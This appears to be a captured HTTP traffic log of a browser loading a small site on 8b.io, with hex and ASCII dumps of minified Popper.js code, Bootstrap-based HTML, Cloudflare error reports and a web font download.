2022-07-22 21:42:05 UTC	2238	IN	Data Raw: 70 65 72 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 2e 74 6f 70 3d 27 27 2c 74 68 69 73 2e 70 6f 70 70 65 72 2e 73 74 79 6c 65 5b 57 28 27 74 72 61 6e 73 66 6f 72 6d 27 29 5d 3d 27 27 29 2c 74 68 69 73 2e 64 69 73 61 62 6c 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 Data Ascii: per.style.position='',this.popper.style.top='',this.popper.style[W('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView
2022-07-22 21:42:05 UTC	2239	IN	Data Raw: 69 3d 74 5b 6f 5d 3b 21 31 3d 3d 3d 69 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 6f 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 2c 74 5b 6f 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 2c 74 2c 6f 29 7b 76 61 72 20 69 3d 54 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 Data Ascii: i=t[o];!1===i?e.removeAttribute(o):e.setAttribute(o,t[o])})}function F(e,t,o){var i=T(e,function(e){var o=e.name;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modif
2022-07-22 21:42:05 UTC	2240	IN	Data Raw: 73 6c 69 63 65 28 73 2b 31 29 29 5d 3b 72 65 74 75 72 6e 20 61 3d 61 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 76 61 72 20 6e 3d 28 31 3d 3d 3d 69 3f 21 72 3a 72 29 3f 27 68 65 69 67 68 74 27 3a 27 77 69 64 74 68 27 2c 70 3d 21 31 3b 72 65 74 75 72 6e 20 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 Data Ascii: slice(s+1))];return a=a.map(function(e,i){var n=(1===i?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){retu
2022-07-22 21:42:05 UTC	2242	IN	Data Raw: 72 61 62 6c 65 7c 7c 21 31 2c 6f 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 27 76 61 6c 75 65 27 69 6e 20 6f 26 26 28 6f 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6f 2e 6b 65 79 2c 6f 29 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 2c 69 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 Data Ascii: rable\|\|!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,w
2022-07-22 21:42:05 UTC	2243	IN	Data Raw: 65 5d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 6f 72 64 65 72 2d 74 2e 6f 72 64 65 72 7d 29 2c 74 68 69 73 2e 6d 6f 64 69 66 69 65 72 73 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 74 2e 6f 6e 4c 6f 61 64 29 26 26 74 2e 6f 6e 4c 6f 61 64 28 6e 2e 72 65 66 65 72 65 6e 63 65 2c 6e 2e 70 6f 70 70 65 72 2c 6e 2e 6f 70 74 69 6f 6e 73 2c 74 2c 6e 2e 73 74 61 74 65 29 7d 29 2c 74 68 69 73 2e 75 70 64 61 74 65 28 29 3b 76 61 72 20 70 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 65 76 65 6e 74 73 45 6e 61 62 6c 65 64 3b 70 26 26 74 68 69 73 2e 65 6e 61 62 6c 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 74 68 69 73 2e 73 74 61 74 65 2e 65 76 65 6e Data Ascii: e])}).sort(function(e,t){return e.order-t.order}),this.modifiers.forEach(function(t){t.enabled&&e(t.onLoad)&&t.onLoad(n.reference,n.popper,n.options,t,n.state)}),this.update();var p=this.options.eventsEnabled;p&&this.enableEventListeners(),this.state.even
2022-07-22 21:42:05 UTC	2244	IN	Data Raw: 72 20 6f 3d 70 5b 65 5d 3b 72 65 74 75 72 6e 20 70 5b 65 5d 3c 69 5b 65 5d 26 26 21 74 2e 65 73 63 61 70 65 57 69 74 68 52 65 66 65 72 65 6e 63 65 26 26 28 6f 3d 4a 28 70 5b 65 5d 2c 69 5b 65 5d 29 29 2c 70 65 28 7b 7d 2c 65 2c 6f 29 7d 2c 73 65 63 6f 6e 64 61 72 79 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 27 72 69 67 68 74 27 3d 3d 3d 65 3f 27 6c 65 66 74 27 3a 27 74 6f 70 27 2c 6e 3d 70 5b 6f 5d 3b 72 65 74 75 72 6e 20 70 5b 65 5d 3e 69 5b 65 5d 26 26 21 74 2e 65 73 63 61 70 65 57 69 74 68 52 65 66 65 72 65 6e 63 65 26 26 28 6e 3d 5f 28 70 5b 6f 5d 2c 69 5b 65 5d 2d 28 27 72 69 67 68 74 27 3d 3d 3d 65 3f 70 2e 77 69 64 74 68 3a 70 2e 68 65 69 67 68 74 29 29 29 2c 70 65 28 7b 7d 2c 6f 2c 6e 29 7d 7d 3b 72 65 74 75 72 6e 20 6e 2e 66 6f 72 Data Ascii: r o=p[e];return p[e]<i[e]&&!t.escapeWithReference&&(o=J(p[e],i[e])),pe({},e,o)},secondary:function(e){var o='right'===e?'left':'top',n=p[o];return p[e]>i[e]&&!t.escapeWithReference&&(n=_(p[o],i[e]-('right'===e?p.width:p.height))),pe({},o,n)}};return n.for
2022-07-22 21:42:05 UTC	2246	IN	Data Raw: 6d 5d 2b 75 3e 73 5b 67 5d 26 26 28 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 5b 6d 5d 2b 3d 64 5b 6d 5d 2b 75 2d 73 5b 67 5d 29 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 3b 76 61 72 20 62 3d 64 5b 6d 5d 2b 64 5b 6c 5d 2f 32 2d 75 2f 32 2c 77 3d 74 28 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 29 2c 79 3d 70 61 72 73 65 46 6c 6f 61 74 28 77 5b 27 6d 61 72 67 69 6e 27 2b 66 5d 2c 31 30 29 2c 45 3d 70 61 72 73 65 46 6c 6f 61 74 28 77 5b 27 62 6f 72 64 65 72 27 2b 66 2b 27 57 69 64 74 68 27 5d 2c 31 30 29 2c 76 3d 62 2d 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 5b 6d 5d 2d 79 2d 45 3b 72 65 74 75 72 6e 20 76 3d 4a 28 5f 28 73 5b 6c 5d 2d 75 2c 76 29 2c 30 29 2c 65 2e 61 Data Ascii: m]+u>s[g]&&(e.offsets.popper[m]+=d[m]+u-s[g]),e.offsets.popper=c(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f],10),E=parseFloat(w['border'+f+'Width'],10),v=b-e.offsets.popper[m]-y-E;return v=J(_(s[l]-u,v),0),e.a
2022-07-22 21:42:05 UTC	2247	IN	Data Raw: 29 26 26 28 65 2e 66 6c 69 70 70 65 64 3d 21 30 2c 28 6d 7c 7c 62 29 26 26 28 69 3d 70 5b 64 2b 31 5d 29 2c 79 26 26 28 72 3d 4b 28 72 29 29 2c 65 2e 70 6c 61 63 65 6d 65 6e 74 3d 69 2b 28 72 3f 27 2d 27 2b 72 3a 27 27 29 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 73 65 28 7b 7d 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 2c 53 28 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2c 65 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 2c 65 2e 70 6c 61 63 65 6d 65 6e 74 29 29 2c 65 3d 43 28 65 2e 69 6e 73 74 61 6e 63 65 2e 6d 6f 64 69 66 69 65 72 73 2c 65 2c 27 66 6c 69 70 27 29 29 7d 29 2c 65 7d 2c 62 65 68 61 76 69 6f 72 3a 27 66 6c 69 70 27 2c 70 61 64 64 69 6e 67 3a 35 2c 62 6f 75 6e 64 61 72 69 65 73 45 6c 65 6d 65 6e 74 3a 27 Data Ascii: )&&(e.flipped=!0,(m\|\|b)&&(i=p[d+1]),y&&(r=K(r)),e.placement=i+(r?'-'+r:''),e.offsets.popper=se({},e.offsets.popper,S(e.instance.popper,e.offsets.reference,e.placement)),e=C(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'
2022-07-22 21:42:05 UTC	2248	IN	Data Raw: 6e 63 65 2e 70 6f 70 70 65 72 29 2c 66 3d 67 28 6c 29 2c 6d 3d 7b 70 6f 73 69 74 69 6f 6e 3a 6e 2e 70 6f 73 69 74 69 6f 6e 7d 2c 68 3d 7b 6c 65 66 74 3a 58 28 6e 2e 6c 65 66 74 29 2c 74 6f 70 3a 58 28 6e 2e 74 6f 70 29 2c 62 6f 74 74 6f 6d 3a 58 28 6e 2e 62 6f 74 74 6f 6d 29 2c 72 69 67 68 74 3a 58 28 6e 2e 72 69 67 68 74 29 7d 2c 63 3d 27 62 6f 74 74 6f 6d 27 3d 3d 3d 6f 3f 27 74 6f 70 27 3a 27 62 6f 74 74 6f 6d 27 2c 75 3d 27 72 69 67 68 74 27 3d 3d 3d 69 3f 27 6c 65 66 74 27 3a 27 72 69 67 68 74 27 2c 62 3d 57 28 27 74 72 61 6e 73 66 6f 72 6d 27 29 3b 69 66 28 64 3d 27 62 6f 74 74 6f 6d 27 3d 3d 63 3f 2d 66 2e 68 65 69 67 68 74 2b 68 2e 62 6f 74 74 6f 6d 3a 68 2e 74 6f 70 2c 73 3d 27 72 69 67 68 74 27 3d 3d 75 3f 2d 66 2e 77 69 64 74 68 2b 68 2e 72 69 Data Ascii: nce.popper),f=g(l),m={position:n.position},h={left:X(n.left),top:X(n.top),bottom:X(n.bottom),right:X(n.right)},c='bottom'===o?'top':'bottom',u='right'===i?'left':'right',b=W('transform');if(d='bottom'==c?-f.height+h.bottom:h.top,s='right'==u?-f.width+h.ri
2022-07-22 21:42:05 UTC	2249	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:41:48 UTC	4	OUT	GET / HTTP/1.1 Host: houseinspector.8b.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:41:48 UTC	5	IN	HTTP/1.1 200 OK Date: Fri, 22 Jul 2022 21:41:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 17066 Connection: close Server: nginx/1.14.0 (Ubuntu) X-Instance-Id: PRXJNCsIRbrLhNunSxDkgQ== X-ST-Cache-Status: MISS ETag: "ae99df27a816dd7569e74f81bcd71bc2"
2022-07-22 21:41:48 UTC	5	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 55 54 46 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 2f 3e 3c 74 69 74 6c 65 3e 31 36 35 38 35 30 30 33 39 34 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 64 61 74 61 2d 73 74 79 6c 65 73 3d 22 72 65 62 6f 6f 74 22 3e 2f 2a 21 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 52 65 62 6f 6f 74 20 76 35 2e 31 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charSet="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1.0"/><title>1658500394</title><style data-styles="reboot">/! Bootstrap Reboot v5.1.0 (https://getbootstrap.com/)
2022-07-22 21:41:48 UTC	21	IN	Data Raw: 67 22 20 63 6c 61 73 73 3d 22 72 6f 75 6e 64 65 64 2d 63 69 72 63 6c 65 22 2f 3e 3c 2f 62 75 74 74 6f 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 73 65 63 74 69 6f 6e 3e 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 36 34 35 37 32 35 63 61 2d 30 32 62 65 2d 34 36 34 30 2d 62 36 37 33 2d 66 66 34 61 31 32 61 64 36 32 30 37 22 20 63 6c 61 73 73 3d 22 42 75 74 74 6f 6e 20 6d 62 2d 33 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 6c 67 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 33 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 72 6f 77 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 31 32 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 64 22 3e 3c 64 69 76 20 Data Ascii: g" class="rounded-circle"/></button></a></div></div></section><section id="645725ca-02be-4640-b673-ff4a12ad6207" class="Button mb-3"><div class="container-lg"><div class="g-3 justify-content-center row"><div class="col-lg-6 col-12"><div class="card"><div

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:42:49 UTC	2383	OUT	OPTIONS /report/v3?s=eaXM5IEjR1ShHcEDM%2BnJejdEjP71hbK39442X3%2Fmj1WoxodTl3nVuim%2BsUXT0SbB0ENzl6ZDdH7991f1XZMv6QWA9VDwnrHY3gbUvFF%2FCzoNm4L61LFC68Q1xw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://vr.8b.io Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:42:49 UTC	2383	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 22 Jul 2022 21:42:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:42:49 UTC	2384	OUT	POST /report/v3?s=eaXM5IEjR1ShHcEDM%2BnJejdEjP71hbK39442X3%2Fmj1WoxodTl3nVuim%2BsUXT0SbB0ENzl6ZDdH7991f1XZMv6QWA9VDwnrHY3gbUvFF%2FCzoNm4L61LFC68Q1xw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 404 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:42:49 UTC	2384	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 38 32 35 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 68 6f 75 73 65 69 6e 73 70 65 63 74 6f 72 2e 38 62 2e 69 6f 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 76 Data Ascii: [{"age":58825,"body":{"elapsed_time":3,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://houseinspector.8b.io/","sampling_fraction":1.0,"server_ip":"","status_code":0,"type":"abandoned"},"type":"network-error","url":"https://v
2022-07-22 21:42:49 UTC	2384	IN	HTTP/1.1 200 OK content-length: 0 date: Fri, 22 Jul 2022 21:42:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	kBytes transferred	Direction	Data
2022-07-22 21:41:49 UTC	23	OUT	GET /s/jost/v14/92zPtBhPNqw79Ij1E865zBUv7myjJTVBNIg.woff2 HTTP/1.1 Host: fonts.gstatic.com Connection: keep-alive Origin: https://houseinspector.8b.io User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://fonts.googleapis.com/css2?family=Jost&display=swap Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-07-22 21:41:49 UTC	24	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="apps-themes" Report-To: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]} Timing-Allow-Origin: * Content-Length: 9028 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 18 Jul 2022 23:10:10 GMT Expires: Tue, 18 Jul 2023 23:10:10 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 11 Jul 2022 20:29:32 GMT Content-Type: font/woff2 Age: 340299 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-07-22 21:41:49 UTC	24	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 23 44 00 10 00 00 00 00 60 d0 00 00 22 e3 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 16 1b 89 3c 1c 54 06 60 3f 53 54 41 54 48 00 84 5e 11 08 0a 81 9e 68 fa 3a 0b 83 4a 00 01 36 02 24 03 87 10 04 20 05 84 22 07 20 0c 07 1b c0 4b b3 22 d8 38 00 10 a8 ef 77 14 65 62 95 c8 fe ab 84 6c c2 94 d6 b1 46 24 60 d4 ee 08 96 7d 3a 58 90 0f d3 cb f7 bd b6 5d b6 5c 89 fc 0f e6 5f d7 07 8d 8d de 06 ab 6e b5 61 84 24 b3 44 d5 18 ef f7 ec 05 81 24 50 79 66 49 96 50 92 8c 8f 27 49 a8 12 9b 0f 2c d4 77 0f 86 c8 cd 1a 10 54 14 35 8a 8a 20 20 b5 2c 55 11 50 10 58 4a 5b 0b 62 ab 51 c4 9e 62 d2 2d d7 52 aa a9 ed 2f c9 d5 94 6e aa b9 bb a4 7f 72 c5 2b a6 98 cb e9 d5 d4 ea ff 5f 9b fe bd 10 48 cf bb 33 d5 c4 eb b2 32 Data Ascii: wOF2#D`"<T`?STATH^h:J6$ " K"8weblF$`}:X]\_na$D$PyfIP'I,wT5 ,UPXJ[bQb-R/nr+_H32
2022-07-22 21:41:49 UTC	25	IN	Data Raw: e5 2a 91 3b 24 21 3e ea 22 95 42 86 76 95 62 ea 52 b4 5d a5 58 b4 2e 4a bb f6 73 a5 b2 76 6b 17 6d e1 da 46 7f fd f4 76 76 6e 7c e7 80 9a a8 39 3a b0 8a 42 7c f3 a2 d7 f6 e1 cf 5f c3 c3 13 8b 28 c1 c6 8b b0 bf 62 00 9a df ef d7 fe dc 51 44 db 87 89 c6 42 42 22 7c db fe f9 fe f7 f7 2b f7 22 e8 bc 58 68 e9 1c ea 44 0a 18 42 8c 10 c3 25 09 8f 97 72 fa b5 fb 16 c0 00 a1 5b 50 46 dc fd 7e 02 40 3f 29 e8 d0 1b 37 bb 0b 00 f9 5c f5 e4 56 40 86 3a 7b bc 53 c9 84 3e 62 25 00 30 89 82 5d 26 0c 22 05 2a 07 60 da dc 9e 36 4d 1c a9 a1 dd fd bb 88 37 e7 b3 6f 18 3f 06 40 ae b8 7a d2 1f 45 95 41 fc 0e 46 1c c1 53 05 8a 7a 9e 7f cf f8 23 72 35 52 65 36 1d 7c 1b 2a 50 d9 77 a3 75 ef 49 26 97 75 a7 a8 f1 ee ff aa 2e 30 b8 fb 1b c0 2a b4 86 93 aa 62 d2 45 05 a8 67 1a 23 33 Data Ascii: ;$!>"BvbR]X.JsvkmFvvn\|9:B\|_(bQDBB"\|+"XhDB%r[PF~@?)7\V@:{S>b%0]&"`6M7o?@zEAFSz#r5Re6\|PwuI&u.0bEg#3
2022-07-22 21:41:49 UTC	26	IN	Data Raw: 2f 34 dd fb c2 bb a3 97 c5 ba 44 66 22 07 81 13 21 69 68 69 0a ee 19 b8 29 00 84 4c 86 88 e9 13 86 f2 7f 25 71 cb 80 51 6c 07 2e 68 ef a0 50 8e 4d 1f ad d5 31 d3 22 35 dc db de f4 e7 3c ad 80 ad 39 50 c3 a8 c1 80 46 10 39 ac 38 8e 45 f6 7b 51 74 1d 08 51 a0 11 23 96 46 78 e6 3d 33 6a 51 a2 ef ff e9 54 6b 1a d2 6b 4b c2 f3 e8 ba 9f 18 1a 7e 1c a8 9c 9a 4f dd bd 77 a2 18 1b 01 9e 70 18 8a 02 c8 8e 5c ae 23 4b 7e 01 96 86 b2 a5 a5 c2 f9 82 26 47 49 15 26 4e a5 44 f4 92 a9 ad 32 92 87 2c 31 ce 36 1a c3 e3 19 e3 61 07 29 99 9c 97 a0 ec 68 61 df 75 fb 58 42 3c b0 c7 cc 2c 3e c4 d7 2b 5e 50 d2 42 4f 9d f7 73 52 91 81 dc c8 83 dc 3b af 63 3c ad 53 01 b2 a5 ea c6 fa bc 36 93 de af 18 cb f8 41 8f c0 0a 97 8b c7 41 fd 82 04 b4 57 17 d6 ef 58 da bb 19 d9 a7 5f b6 c3 Data Ascii: /4Df"!ihi)L%qQl.hPM1"5<9PF98E{QtQ#Fx=3jQTkkK~Owp\#K~&GI&ND2,16a)hauXB<,>+^PBOsR;c<S6AAWX_
2022-07-22 21:41:49 UTC	27	IN	Data Raw: 52 71 96 b1 02 81 43 46 f7 00 af 0a b1 02 b6 07 bc fc 8f c4 6e 87 1e f3 66 f6 4a 56 e8 18 b5 40 9a 60 a3 a5 2e af 45 a3 e3 0e 1b 5c 51 5b 47 bf d2 56 17 c6 6c 68 63 c9 71 9d f6 dc 61 e1 2d 62 12 92 c3 11 ed 30 b3 5e 43 b6 7a b4 54 1d 85 43 1f ed 03 58 80 4d e7 8d f5 2d 17 7c 27 77 d2 db 6d 7c 47 3f 2b 58 0d c3 a1 91 42 7e ac 71 f6 a1 1d 95 2c d9 b7 cd 5e 3d 6a d4 69 66 56 7f e8 f9 1f e3 87 c3 e5 2e 8b 0c 89 13 ce 22 56 7d 2c fe a4 1c ef 1e 5b 8a a8 e5 6c e4 b6 e2 d1 8a f4 c1 07 65 bc 67 ed d4 21 c7 69 c8 79 93 c3 9b 37 2a 77 b4 25 3c 23 ea 1d bf 67 6f fe 5b af 6e e4 7f 51 aa 31 83 8d f2 91 9f 6b 1b 99 3a e8 95 c2 ee 23 7d 6f 0c e5 a1 1c 9e d8 56 27 b7 eb 06 1d 83 79 98 31 e6 1c 13 e3 b1 c3 80 01 4d 7c 10 64 f1 e6 ee fc 39 34 7f 8a 30 a5 06 0e e3 1b 29 80 Data Ascii: RqCFnfJV@`.E\Q[GVlhcqa-b0^CzTCXM-\|'wm\|G?+XB~q,^=jifV."V},[leg!iy7*w%<#go[nQ1k:#}oV'y1M\|d940)
